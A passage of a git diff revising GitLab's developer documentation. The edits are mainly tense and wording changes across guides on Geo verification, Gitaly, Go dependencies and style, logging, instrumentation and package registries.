"widgets_verification_failure_partial" - t.index :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: "widgets_verification_checksum_partial" + t.index :verification_state, name: "index_widget_states_on_verification_state" end end end @@ -498,6 +506,20 @@ can track verification state. end ``` +1. Add the following lines to the `widget_state.rb` model: + + ```ruby + class WidgetState < ApplicationRecord + ... + self.primary_key = :widget_id + + include ::Gitlab::Geo::VerificationState + + belongs_to :widget, inverse_of: :widget_state + ... + end + ``` + 1. Add the following lines to the `widget` model: ```ruby @@ -547,14 +569,16 @@ Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in 1. Add the following to `spec/factories/widgets.rb`: ```ruby - trait(:checksummed) do + trait(:verification_succeeded) do with_file verification_checksum { 'abc' } + verification_state { Widget.verification_state_value(:verification_succeeded) } end - trait(:checksum_failure) do + trait(:verification_failed) do with_file verification_failure { 'Could not calculate the checksum' } + verification_state { Widget.verification_state_value(:verification_failed) } end ``` diff --git a/doc/development/gitaly.md b/doc/development/gitaly.md index 8b4e5090abb..9b2081b2821 100644 --- a/doc/development/gitaly.md +++ b/doc/development/gitaly.md @@ -84,7 +84,7 @@ If your test-suite is failing with Gitaly issues, as a first step, try running: rm -rf tmp/tests/gitaly ``` -During RSpec tests, the Gitaly instance will write logs to `gitlab/log/gitaly-test.log`. +During RSpec tests, the Gitaly instance writes logs to `gitlab/log/gitaly-test.log`. ## Legacy Rugged code @@ -124,23 +124,23 @@ Most of this code exists in the `lib/gitlab/git/rugged_impl` directory. NOTE: **Note:** You should NOT need to add or modify code related to Rugged unless explicitly discussed with the [Gitaly -Team](https://gitlab.com/groups/gl-gitaly/group_members). This code will +Team](https://gitlab.com/groups/gl-gitaly/group_members). This code does NOT work on GitLab.com or other GitLab instances that do not use NFS. ## `TooManyInvocationsError` errors During development and testing, you may experience `Gitlab::GitalyClient::TooManyInvocationsError` failures. -The `GitalyClient` will attempt to block against potential n+1 issues by raising this error +The `GitalyClient` attempts to block against potential n+1 issues by raising this error when Gitaly is called more than 30 times in a single Rails request or Sidekiq execution. -As a temporary measure, export `GITALY_DISABLE_REQUEST_LIMITS=1` to suppress the error. This will disable the n+1 detection +As a temporary measure, export `GITALY_DISABLE_REQUEST_LIMITS=1` to suppress the error. This disables the n+1 detection in your development environment. Please raise an issue in the GitLab CE or EE repositories to report the issue. Include the labels ~Gitaly ~performance ~"technical debt". Please ensure that the issue contains the full stack trace and error message of the `TooManyInvocationsError`. Also include any known failing tests if possible. -Isolate the source of the n+1 problem. This will normally be a loop that results in Gitaly being called for each +Isolate the source of the n+1 problem. This is normally a loop that results in Gitaly being called for each element in an array. If you are unable to isolate the problem, please contact a member of the [Gitaly Team](https://gitlab.com/groups/gl-gitaly/group_members) for assistance. @@ -154,7 +154,7 @@ Gitlab::GitalyClient.allow_n_plus_1_calls do end ``` -Once the code is wrapped in this block, this code-path will be excluded from n+1 detection. +Once the code is wrapped in this block, this code path is excluded from n+1 detection. ## Request counts @@ -184,12 +184,12 @@ branches and SHA to use a custom commit in <https://gitlab.com/gitlab-org/gitaly NOTE: **Note:** With the introduction of auto-deploy for Gitaly, the format of `GITALY_SERVER_VERSION` was aligned with Omnibus syntax. -It no longer supports `=revision`, it will evaluate the file content as a Git -reference (branch or SHA), only if it matches a semver it will prepend a `v`. +It no longer supports `=revision`, it evaluates the file content as a Git +reference (branch or SHA). Only if it matches a semver does it prepend a `v`. If you want to run tests locally against a modified version of Gitaly you can replace `tmp/tests/gitaly` with a symlink. This is much faster -because if will avoid a Gitaly re-install each time you run `rspec`. +because it avoids a Gitaly re-install each time you run `rspec`. ```shell rm -rf tmp/tests/gitaly @@ -197,12 +197,12 @@ ln -s /path/to/gitaly tmp/tests/gitaly ``` Make sure you run `make` in your local Gitaly directory before running -tests. Otherwise, Gitaly will fail to boot. +tests. Otherwise, Gitaly fails to boot. If you make changes to your local Gitaly in between test runs you need to manually run `make` again. -Note that CI tests will not use your locally modified version of +Note that CI tests do not use your locally modified version of Gitaly. To use a custom Gitaly version in CI you need to update GITALY_SERVER_VERSION as described at the beginning of this paragraph. diff --git a/doc/development/go_guide/dependencies.md b/doc/development/go_guide/dependencies.md index 461ee394533..522f9d80cfc 100644 --- a/doc/development/go_guide/dependencies.md +++ b/doc/development/go_guide/dependencies.md @@ -89,28 +89,28 @@ Go 1.12 introduced checksum databases and module proxies. ### Checksums -In addition to `go.mod`, a module will have a `go.sum` file. This file records a +In addition to `go.mod`, a module has a `go.sum` file. This file records a SHA-256 checksum of the code and the `go.mod` file of every version of every dependency that is referenced by the module or one of the module's dependencies. Go continually updates `go.sum` as new dependencies are referenced. When Go fetches the dependencies of a module, if those dependencies already have -an entry in `go.sum`, Go will verify the checksum of these dependencies. If the -checksum does not match what is in `go.sum`, the build will fail. This ensures +an entry in `go.sum`, Go verifies the checksum of these dependencies. If the +checksum does not match what is in `go.sum`, the build fails. This ensures that a given version of a module cannot be changed by its developers or by a malicious party without causing build failures. Go 1.12+ can be configured to use a checksum database. If configured to do so, when Go fetches a dependency and there is no corresponding entry in `go.sum`, Go -will query the configured checksum database(s) for the checksum of the +queries the configured checksum database(s) for the checksum of the dependency instead of calculating it from the downloaded dependency. If the -dependency cannot be found in the checksum database, the build will fail. If the +dependency cannot be found in the checksum database, the build fails. If the downloaded dependency's checksum does not match the result from the checksum -database, the build will fail. The following environment variables control this: +database, the build fails. The following environment variables control this: - `GOSUMDB` identifies the name, and optionally the public key and server URL, of the checksum database to query. - - A value of `off` will entirely disable checksum database queries. + - A value of `off` entirely disables checksum database queries. - Go 1.13+ uses `sum.golang.org` if `GOSUMDB` is not defined. - `GONOSUMDB` is a comma-separated list of module suffixes that checksum database queries should be disabled for. Wildcards are supported. @@ -125,8 +125,8 @@ attempts to fetch the dependency from the configured proxies, in order. The following environment variables control this: - `GOPROXY` is a comma-separated list of module proxies to query. - - A value of `direct` will entirely disable module proxy queries. - - If the last entry in the list is `direct`, Go will fall back to the process + - A value of `direct` entirely disables module proxy queries. + - If the last entry in the list is `direct`, Go falls back to the process described [above](#fetching-packages) if none of the proxies can provide the dependency. - Go 1.13+ uses `proxy.golang.org,direct` if `GOPROXY` is not defined. @@ -159,7 +159,7 @@ From Go 1.12 onward, the process for fetching a module or package is as follows: The downloaded source must contain a `go.mod` file. The `go.mod` file must contain a `module` directive that specifies the name of the module. If the module name as specified by `go.mod` does not match the name that was used to -fetch the module, the module will fail to compile. +fetch the module, the module fails to compile. If the module is being fetched directly and no version was specified, or if the module is being added as a dependency and no version was specified, Go uses the @@ -172,9 +172,9 @@ latest that is also a valid semantic version. In versions prior to Go 1.13, support for authenticating requests made by Go was somewhat inconsistent. Go 1.13 improved support for `.netrc` authentication. If -a request is made over HTTPS and a matching `.netrc` entry can be found, Go will -add HTTP Basic authentication credentials to the request. Go will not -authenticate requests made over HTTP. Go will reject HTTP-only entries in +a request is made over HTTPS and a matching `.netrc` entry can be found, Go +adds HTTP Basic authentication credentials to the request. Go does not +authenticate requests made over HTTP. Go rejects HTTP-only entries in `GOPROXY` that have embedded credentials. In a future version, Go may add support for arbitrary authentication headers. diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md index 4077cf2a2c2..7aace206aee 100644 --- a/doc/development/go_guide/index.md +++ b/doc/development/go_guide/index.md @@ -20,7 +20,7 @@ the two is best for the job. This page aims to define and organize our Go guidelines, based on our various experiences. Several projects were started with different standards and they -can still have specifics. They will be described in their respective +can still have specifics. They are described in their respective `README.md` or `PROCESS.md` files. ## Dependency Management @@ -89,7 +89,7 @@ projects: ## Code style and format -- Avoid global variables, even in packages. By doing so you will introduce side +- Avoid global variables, even in packages. By doing so you introduce side effects if the package is included multiple times. - Use `goimports` before committing. [goimports](https://godoc.org/golang.org/x/tools/cmd/goimports) @@ -97,7 +97,7 @@ projects: [Gofmt](https://golang.org/cmd/gofmt/), in addition to formatting import lines, adding missing ones and removing unreferenced ones. - Most editors/IDEs will allow you to run commands before/after saving a file, you can set it + Most editors/IDEs allow you to run commands before/after saving a file, you can set it up to run `goimports` so that it's applied to every file when saving. - Place private methods below the first caller method in the source file. @@ -128,7 +128,7 @@ configuration of `golangci-lint`. All options for `golangci-lint` are listed in this [example](https://github.com/golangci/golangci-lint/blob/master/.golangci.example.yml). Once [recursive includes](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) -become available, you will be able to share job templates like this +become available, you can share job templates like this [analyzer](https://gitlab.com/gitlab-org/security-products/ci-templates/raw/master/includes-dev/analyzer.yml). ## Dependencies @@ -150,7 +150,7 @@ define and lock dependencies for reproducible builds. It should be used whenever possible. When Go Modules are in use, there should not be a `vendor/` directory. Instead, -Go will automatically download dependencies when they are needed to build the +Go automatically downloads dependencies when they are needed to build the project. This is in line with how dependencies are handled with Bundler in Ruby projects, and makes merge requests easier to review. @@ -177,7 +177,7 @@ databases. In the rare event of managing a hosted database, it's necessary to use a migration system like ActiveRecord is providing. A simple library like [Journey](https://github.com/db-journey/journey), designed to be used in -`postgres` containers, can be deployed as long-running pods. New versions will +`postgres` containers, can be deployed as long-running pods. New versions deploy a new pod, migrating the data automatically. ## Testing @@ -255,7 +255,7 @@ to make the test output easily readable. to use for naming subtests. In the Go standard library, this is commonly the `name string` field. - Use `want`/`expect`/`actual` when you are specifying something in the - test case that will be used for assertion. + test case that is used for assertion. #### Variable names @@ -414,7 +414,7 @@ builds](https://docs.docker.com/develop/develop-images/multistage-build/): Generated Docker images should have the program at their `Entrypoint` to create portable commands. That way, anyone can run the image, and without parameters -it will display its help message (if `cli` has been used). +it displays its help message (if `cli` has been used). ## Distributing Go binaries @@ -476,7 +476,7 @@ Example: In case we want to drop support for `go 1.11` in GitLab `12.10`, we need to verify which Go versions we are using in `12.9`, `12.8`, and `12.7`. -We will not consider the active milestone, `12.10`, because a backport for `12.7` will be required in case of a critical security release. +We do not consider the active milestone, `12.10`, because a backport for `12.7` is required in case of a critical security release. 1. If both [Omnibus and CNG](#updating-go-version) were using Go `1.12` in GitLab `12.7` and later, then we safely drop support for `1.11`. 1. If Omnibus or CNG were using `1.11` in GitLab `12.7`, then we still need to keep support for Go `1.11` for easier backporting of security fixes. @@ -492,11 +492,11 @@ Use `goimports -local gitlab.com/gitlab-org` before committing. is a tool that automatically formats Go source code using [Gofmt](https://golang.org/cmd/gofmt/), in addition to formatting import lines, adding missing ones and removing unreferenced ones. -By using the `-local gitlab.com/gitlab-org` option, `goimports` will group locally referenced +By using the `-local gitlab.com/gitlab-org` option, `goimports` groups locally referenced packages separately from external ones. See [the imports section](https://github.com/golang/go/wiki/CodeReviewComments#imports) of the Code Review Comments page on the Go wiki for more details. -Most editors/IDEs will allow you to run commands before/after saving a file, you can set it +Most editors/IDEs allow you to run commands before/after saving a file, you can set it up to run `goimports -local gitlab.com/gitlab-org` so that it's applied to every file when saving. --- diff --git a/doc/development/i18n_guide.md b/doc/development/i18n_guide.md index e588b47e203..ddc91f9308e 100644 --- a/doc/development/i18n_guide.md +++ b/doc/development/i18n_guide.md @@ -3,3 +3,6 @@ redirect_to: 'i18n/index.md' --- This document was moved to [another location](i18n/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/instrumentation.md b/doc/development/instrumentation.md index bdbcd52eb61..07e39c66a6c 100644 --- a/doc/development/instrumentation.md +++ b/doc/development/instrumentation.md @@ -19,13 +19,14 @@ Instrumenting methods is done by using the `Gitlab::Metrics::Instrumentation` module. This module offers a few different methods that can be used to instrument code: -- `instrument_method`: instruments a single class method. -- `instrument_instance_method`: instruments a single instance method. -- `instrument_class_hierarchy`: given a Class this method will recursively - instrument all sub-classes (both class and instance methods). -- `instrument_methods`: instruments all public and private class methods of a Module. -- `instrument_instance_methods`: instruments all public and private instance methods of a +- `instrument_method`: Instruments a single class method. +- `instrument_instance_method`: Instruments a single instance method. +- `instrument_class_hierarchy`: Given a Class, this method recursively + instruments all sub-classes (both class and instance methods). +- `instrument_methods`: Instruments all public and private class methods of a Module. +- `instrument_instance_methods`: Instruments all public and private instance + methods of a Module. To remove the need for typing the full `Gitlab::Metrics::Instrumentation` namespace you can use the `configure` class method. This method simply yields @@ -91,7 +92,7 @@ Ruby code. In case of the above snippet you'd run the following: - `$ Banzai::Renderer.render` -This will print out something along the lines of: +This prints a result similar to: ```plaintext From: /path/to/your/gitlab/lib/gitlab/metrics/instrumentation.rb @ line 148: @@ -131,7 +132,7 @@ Three values are measured for a block: Both the real and CPU timings are measured in milliseconds. -Multiple calls to the same block will result in the final values being the sum +Multiple calls to the same block results in the final values being the sum of all individual values. Take this code for example: ```ruby @@ -142,7 +143,7 @@ of all individual values. Take this code for example: end ``` -Here the final value of `sleep_real_time` will be `3`, _not_ `1`. +Here, the final value of `sleep_real_time` is `3`, and not `1`. ## Tracking Custom Events diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md index 52d10f0bd3c..0d57164ef29 100644 --- a/doc/development/integrations/secure_partner_integration.md +++ b/doc/development/integrations/secure_partner_integration.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Secure Partner Integration - Onboarding Process If you want to integrate your product with the [Secure Stage](https://about.gitlab.com/direction/secure/), -this page will help you understand the developer workflow GitLab intends for +this page describes the developer workflow GitLab intends for our users to follow with regards to security results. These should be used as guidelines so you can build an integration that fits with the workflow GitLab users are already familiar with. @@ -29,7 +29,7 @@ tiers so that we can provide the most value to our mutual customers. ## What is the GitLab Developer Workflow? This workflow is how GitLab users interact with our product and expect it to -function. Understanding how users use GitLab today will help you choose the +function. Understanding how users use GitLab today helps you choose the best place to integrate your own product and its results into GitLab. - Developers want to write code without using a new tool to consume results @@ -101,7 +101,7 @@ and complete an integration with the Secure stage. - Users can interact with the findings from your artifact within their workflow. They can dismiss the findings or accept them and create a backlog issue. - To automatically create issues without user interaction, use the [issue API](../../api/issues.md). This will be replaced by [Standalone Vulnerabilities](https://gitlab.com/groups/gitlab-org/-/epics/634) in the future. 1. Optional: Provide auto-remediation steps: - - If you specified `remediations` in your artifact, it is proposed through our [auto-remediation](../../user/application_security/index.md#automatic-remediation-for-vulnerabilities) + - If you specified `remediations` in your artifact, it is proposed through our [automatic remediation](../../user/application_security/index.md#automatic-remediation-for-vulnerabilities) interface. 1. Demo the integration to GitLab: - After you have tested and are ready to demo your integration please @@ -112,7 +112,7 @@ and complete an integration with the Secure stage. to support your go-to-market as appropriate. - Examples of supported marketing could include being listed on our [Security Partner page](https://about.gitlab.com/partners/#security), doing an [Unfiltered blog post](https://about.gitlab.com/handbook/marketing/blog/unfiltered/), - doing a co-branded webinar, or producing a co-branded whitepaper. + doing a co-branded webinar, or producing a co-branded white paper. We have a [video playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0KpMqYxJiOLz-uBIr5w-yP4A) that may be helpful as part of this process. This covers various topics related to integrating your diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md index f83a57fe1ca..2bdb91daa40 100644 --- a/doc/development/licensed_feature_availability.md +++ b/doc/development/licensed_feature_availability.md @@ -30,7 +30,7 @@ project.feature_available?(:feature_symbol) However, for features such as [Geo](../administration/geo/index.md) and [Load balancing](../administration/database_load_balancing.md), which cannot be restricted -to only a subset of projects or namespaces, the check will be made directly in +to only a subset of projects or namespaces, the check is made directly in the instance license. 1. Add the feature symbol on `EES_FEATURES`, `EEP_FEATURES` or `EEU_FEATURES` constants in diff --git a/doc/development/logging.md b/doc/development/logging.md index 14812978f2d..f81dd3e6438 100644 --- a/doc/development/logging.md +++ b/doc/development/logging.md @@ -35,14 +35,14 @@ Completed 200 OK in 166ms (Views: 117.4ms | ActiveRecord: 27.2ms) These logs suffer from a number of problems: -1. They often lack timestamps or other contextual information (e.g. project ID, user) +1. They often lack timestamps or other contextual information (for example, project ID or user) 1. They may span multiple lines, which make them hard to find via Elasticsearch. 1. They lack a common structure, which make them hard to parse by log forwarders, such as Logstash or Fluentd. This also makes them hard to search. -Note that currently on GitLab.com, any messages in `production.log` will -NOT get indexed by Elasticsearch due to the sheer volume and noise. They +Note that currently on GitLab.com, any messages in `production.log` aren't +indexed by Elasticsearch due to the sheer volume and noise. They do end up in Google Stackdriver, but it is still harder to search for logs there. See the [GitLab.com logging documentation](https://gitlab.com/gitlab-com/runbooks/blob/master/logging/doc/README.md) @@ -73,7 +73,7 @@ importer progresses. Here's what to do: make it easy for people to search pertinent logs in one place. For example, `geo.log` contains all logs pertaining to GitLab Geo. To create a new file: - 1. Choose a filename (e.g. `importer_json.log`). + 1. Choose a filename (for example, `importer_json.log`). 1. Create a new subclass of `Gitlab::JsonLogger`: ```ruby @@ -99,7 +99,7 @@ importer progresses. Here's what to do: ``` Note that it's useful to memoize this because creating a new logger - each time you log will open a file, adding unnecessary overhead. + each time you log opens a file, adding unnecessary overhead. 1. Now insert log messages into your code. When adding logs, make sure to include all the context as key-value pairs: @@ -129,16 +129,16 @@ an Elasticsearch-specific way, the concepts should translate to many systems you might use to index structured logs. GitLab.com uses Elasticsearch to index log data. -Unless a field type is explicitly mapped, Elasticsearch will infer the type from +Unless a field type is explicitly mapped, Elasticsearch infers the type from the first instance of that field value it sees. Subsequent instances of that -field value with different types will either fail to be indexed, or in some -cases (scalar/object conflict), the whole log line will be dropped. +field value with different types either fail to be indexed, or in some +cases (scalar/object conflict), the whole log line is dropped. GitLab.com's logging Elasticsearch sets [`ignore_malformed`](https://www.elastic.co/guide/en/elasticsearch/reference/current/ignore-malformed.html), which allows documents to be indexed even when there are simpler sorts of mapping conflict (for example, number / string), although indexing on the affected fields -will break. +breaks. Examples: @@ -177,17 +177,24 @@ challenged to choose between seconds, milliseconds or any other unit, lean towar (with microseconds precision, i.e. `Gitlab::InstrumentationHelper::DURATION_PRECISION`). In order to make it easier to track timings in the logs, make sure the log key has `_s` as -suffix and `duration` within its name (e.g., `view_duration_s`). +suffix and `duration` within its name (for example, `view_duration_s`). ## Multi-destination Logging -GitLab is transitioning from unstructured/plaintext logs to structured/JSON logs. During this transition period some logs will be recorded in multiple formats through multi-destination logging. +GitLab is transitioning from unstructured/plaintext logs to structured/JSON logs. During this transition period some logs are recorded in multiple formats through multi-destination logging. ### How to use multi-destination logging -Create a new logger class, inheriting from `MultiDestinationLogger` and add an array of loggers to a `LOGGERS` constant. The loggers should be classes that descend from `Gitlab::Logger`. e.g. the user defined loggers in the following examples, could be inheriting from `Gitlab::Logger` and `Gitlab::JsonLogger`, respectively. +Create a new logger class, inheriting from `MultiDestinationLogger` and add an +array of loggers to a `LOGGERS` constant. The loggers should be classes that +descend from `Gitlab::Logger`. For example, the user-defined loggers in the +following examples could be inheriting from `Gitlab::Logger` and +`Gitlab::JsonLogger`, respectively. -You must specify one of the loggers as the `primary_logger`. The `primary_logger` will be used when information about this multi-destination logger is displayed in the app, e.g. using the `Gitlab::Logger.read_latest` method. +You must specify one of the loggers as the `primary_logger`. The +`primary_logger` is used when information about this multi-destination logger is +displayed in the application (for example, using the `Gitlab::Logger.read_latest` +method). The following example sets one of the defined `LOGGERS` as a `primary_logger`. @@ -207,19 +214,19 @@ module Gitlab end ``` -You can now call the usual logging methods on this multi-logger, e.g. +You can now call the usual logging methods on this multi-logger. For example: ```ruby FancyMultiLogger.info(message: "Information") ``` -This message will be logged by each logger registered in `FancyMultiLogger.loggers`. +This message is logged by each logger registered in `FancyMultiLogger.loggers`. ### Passing a string or hash for logging When passing a string or hash to a `MultiDestinationLogger`, the log lines could be formatted differently, depending on the kinds of `LOGGERS` set. -e.g. let's partially define the loggers from the previous example: +For example, let's partially define the loggers from the previous example: ```ruby module Gitlab @@ -304,7 +311,7 @@ It should be noted that manual logging of exceptions is not allowed, as: 1. Very often manually logged exception needs to be tracked to Sentry as well, 1. Manually logged exceptions does not use `correlation_id`, which makes hard to pin them to request, user and context in which this exception was raised, -1. It is very likely that manually logged exceptions will end-up across +1. Manually logged exceptions often end up across multiple files, which increases burden scraping all logging files. To avoid duplicating and having consistent behavior the `Gitlab::ErrorTracking` @@ -356,7 +363,7 @@ end ## Additional steps with new log files -1. Consider log retention settings. By default, Omnibus will rotate any +1. Consider log retention settings. By default, Omnibus rotates any logs in `/var/log/gitlab/gitlab-rails/*.log` every hour and [keep at most 30 compressed files](https://docs.gitlab.com/omnibus/settings/logs.html#logrotate). On GitLab.com, that setting is only 6 compressed files. These settings should suffice diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md index a5d9a653472..b4a9cb2fd13 100644 --- a/doc/development/merge_request_performance_guidelines.md +++ b/doc/development/merge_request_performance_guidelines.md @@ -166,7 +166,7 @@ Rails provides an [SQL Query Cache](cached_queries.md#cached-queries-guidelines) used to cache the results of database queries for the duration of the request. See [why cached queries are considered bad](cached_queries.md#why-cached-queries-are-considered-bad) and -[how to detect them](cached_queries.md#how-to-detect). +[how to detect them](cached_queries.md#how-to-detect-cached-queries). The code introduced by a merge request, should not execute multiple duplicated cached queries. diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md index 84679a78545..78acd729b9b 100644 --- a/doc/development/migration_style_guide.md +++ b/doc/development/migration_style_guide.md @@ -153,8 +153,9 @@ and therefore it does not have any records yet. When using a single-transaction migration, a transaction will hold on a database connection for the duration of the migration, so you must make sure the actions in the migration -do not take too much time: In general, queries executed in a migration need to fit comfortably -within `15s` on GitLab.com. +do not take too much time: GitLab.com’s production database has a `15s` timeout, so +in general, the cumulative execution time in a migration should aim to fit comfortably +in that limit. Singular query timings should fit within the [standard limit](query_performance.md#timing-guidelines-for-queries) In case you need to insert, update, or delete a significant amount of data, you: diff --git a/doc/development/new_fe_guide/development/performance.md b/doc/development/new_fe_guide/development/performance.md index 44f5bccde95..7a5da941a68 100644 --- a/doc/development/new_fe_guide/development/performance.md +++ b/doc/development/new_fe_guide/development/performance.md @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w We have a performance dashboard available in one of our [Grafana instances](https://dashboards.gitlab.net/d/1EBTz3Dmz/sitespeed-page-summary?orgId=1). This dashboard automatically aggregates metric data from [sitespeed.io](https://www.sitespeed.io/) every 6 hours. These changes are displayed after a set number of pages are aggregated. These pages can be found inside a text file in the [`gitlab-build-images` repository](https://gitlab.com/gitlab-org/gitlab-build-images) called [`gitlab.txt`](https://gitlab.com/gitlab-org/gitlab-build-images/blob/master/scripts/gitlab.txt) -Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes will go live on the next scheduled run after the changes are merged into `master`. +Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes are pushed live on the next scheduled run after the changes are merged into `master`. There are 3 recommended high impact metrics to review on each page: diff --git a/doc/development/new_fe_guide/development/testing.md b/doc/development/new_fe_guide/development/testing.md index b990425ca3c..034324989ef 100644 --- a/doc/development/new_fe_guide/development/testing.md +++ b/doc/development/new_fe_guide/development/testing.md @@ -3,3 +3,6 @@ redirect_to: '../../testing_guide/frontend_testing.md' --- This document was moved to [another location](../../testing_guide/frontend_testing.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/html.md b/doc/development/new_fe_guide/style/html.md index 0b4fce13d90..afbfbdcf834 100644 --- a/doc/development/new_fe_guide/style/html.md +++ b/doc/development/new_fe_guide/style/html.md @@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/html.md' --- This document was moved to [another location](../../fe_guide/style/html.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/index.md b/doc/development/new_fe_guide/style/index.md index 284862a2be9..77700441aa3 100644 --- a/doc/development/new_fe_guide/style/index.md +++ b/doc/development/new_fe_guide/style/index.md @@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/index.md' --- This document was moved to [another location](../../fe_guide/style/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/javascript.md b/doc/development/new_fe_guide/style/javascript.md index 003880c2592..17722d2c41b 100644 --- a/doc/development/new_fe_guide/style/javascript.md +++ b/doc/development/new_fe_guide/style/javascript.md @@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/javascript.md' --- This document was moved to [another location](../../fe_guide/style/javascript.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/new_fe_guide/style/prettier.md b/doc/development/new_fe_guide/style/prettier.md index 9a95aa96dff..6c0f3b77505 100644 --- a/doc/development/new_fe_guide/style/prettier.md +++ b/doc/development/new_fe_guide/style/prettier.md @@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/tooling.md#formatting-with-prettier' --- This document was moved to [another location](../../fe_guide/tooling.md#formatting-with-prettier). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/packages.md b/doc/development/packages.md index de6cac2ce73..30582a0b9f5 100644 --- a/doc/development/packages.md +++ b/doc/development/packages.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Packages -This document will guide you through adding another [package management system](../administration/packages/index.md) support to GitLab. +This document guides you through adding another [package management system](../administration/packages/index.md) support to GitLab. See already supported package types in [Packages documentation](../administration/packages/index.md) @@ -56,12 +56,12 @@ Group-level and instance-level endpoints are good to have but are optional. Packages are scoped within various levels of access, which is generally configured by setting your remote. A remote endpoint may be set at the project level, meaning when installing packages, only packages belonging to that -project will be visible. Alternatively, a group-level endpoint may be used to allow visibility to all packages +project are visible. Alternatively, a group-level endpoint may be used to allow visibility to all packages within a given group. Lastly, an instance-level endpoint can be used to allow visibility to all packages within an entire GitLab instance. -Using group and project level endpoints will allow for more flexibility in package naming, however, more remotes -will have to be managed. Using instance level endpoints requires [stricter naming conventions](#naming-conventions). +Using group and project level endpoints allows for more flexibility in package naming, however, more remotes +have to be managed. Using instance level endpoints requires [stricter naming conventions](#naming-conventions). The current state of existing package registries availability is: @@ -86,12 +86,12 @@ Composer package naming scope is Instance Level. ### Naming conventions -To avoid name conflict for instance-level endpoints you will need to define a package naming convention +To avoid name conflict for instance-level endpoints you must define a package naming convention that gives a way to identify the project that the package belongs to. This generally involves using the project ID or full project path in the package name. See [Conan's naming convention](../user/packages/conan_repository/index.md#package-recipe-naming-convention-for-instance-remotes) as an example. -For group and project-level endpoints, naming can be less constrained and it will be up to the group and project +For group and project-level endpoints, naming can be less constrained and it is up to the group and project members to be certain that there is no conflict between two package names. However, the system should prevent a user from reusing an existing name within a given scope. @@ -121,7 +121,7 @@ The way new package systems are integrated in GitLab is using an [MVC](https://a - Pulling a package - Required actions -Required actions are all the additional requests that GitLab will need to handle so the corresponding package manager CLI can work properly. It could be a search feature or an endpoint providing meta information about a package. For example: +Required actions are all the additional requests that GitLab needs to handle so the corresponding package manager CLI can work properly. It could be a search feature or an endpoint providing meta information about a package. For example: - For NuGet, the search request was implemented during the first MVC iteration, to support Visual Studio. - For NPM, there is a metadata endpoint used by `npm` to get the tarball URL. @@ -146,22 +146,22 @@ process. During this phase, the idea is to collect as much information as possible about the API used by the package system. Here some aspects that can be useful to include: - **Authentication**: What authentication mechanisms are available (OAuth, Basic - Authorization, other). Keep in mind that GitLab users will often want to use their + Authorization, other). Keep in mind that GitLab users often want to use their [Personal Access Tokens](../user/profile/personal_access_tokens.md). Although not needed for the MVC first iteration, the [CI job tokens](../user/project/new_ci_build_permissions_model.md#job-token) have to be supported at some point in the future. - **Requests**: Which requests are needed to have a working MVC. Ideally, produce a list of all the requests needed for the MVC (including required actions). Further investigation could provide an example for each request with the request and the response bodies. -- **Upload**: Carefully analyze how the upload process works. This will probably be the most +- **Upload**: Carefully analyze how the upload process works. This is likely the most complex request to implement. A detailed analysis is desired here as uploads can be encoded in different ways (body or multipart) and can even be in a totally different format (for example, a JSON structure where the package file is a Base64 value of a particular field). These different encodings lead to slightly different implementations on GitLab and GitLab Workhorse. For more detailed information, review [file uploads](#file-uploads). -- **Endpoints**: Suggest a list of endpoint URLs that will be implemented in GitLab. +- **Endpoints**: Suggest a list of endpoint URLs to implement in GitLab. - **Split work**: Suggest a list of changes to do to incrementally build the MVC. - This will give a good idea of how much work there is to be done. Here is an example + This gives a good idea of how much work there is to be done. Here is an example list that would need to be adapted on a case by case basis: 1. Empty file structure (API file, base service for this package) 1. Authentication system for "logging in" to the package manager @@ -177,7 +177,7 @@ In particular, the upload request can have some [requirements in the GitLab Work ### Implementation -The implementation of the different Merge Requests will vary between different package system integrations. Contributors should take into account some important aspects of the implementation phase. +The implementation of the different Merge Requests varies between different package system integrations. Contributors should take into account some important aspects of the implementation phase. #### Authentication @@ -217,23 +217,23 @@ If there is package specific behavior for a given package manager, add those met delegate from the package model. Note that the existing package UI only displays information within the `packages_packages` and `packages_package_files` -tables. If the data stored in the metadata tables need to be displayed, a ~frontend change will be required. +tables. If the data stored in the metadata tables need to be displayed, a ~frontend change is required. #### File uploads File uploads should be handled by GitLab Workhorse using object accelerated uploads. What this means is that -the workhorse 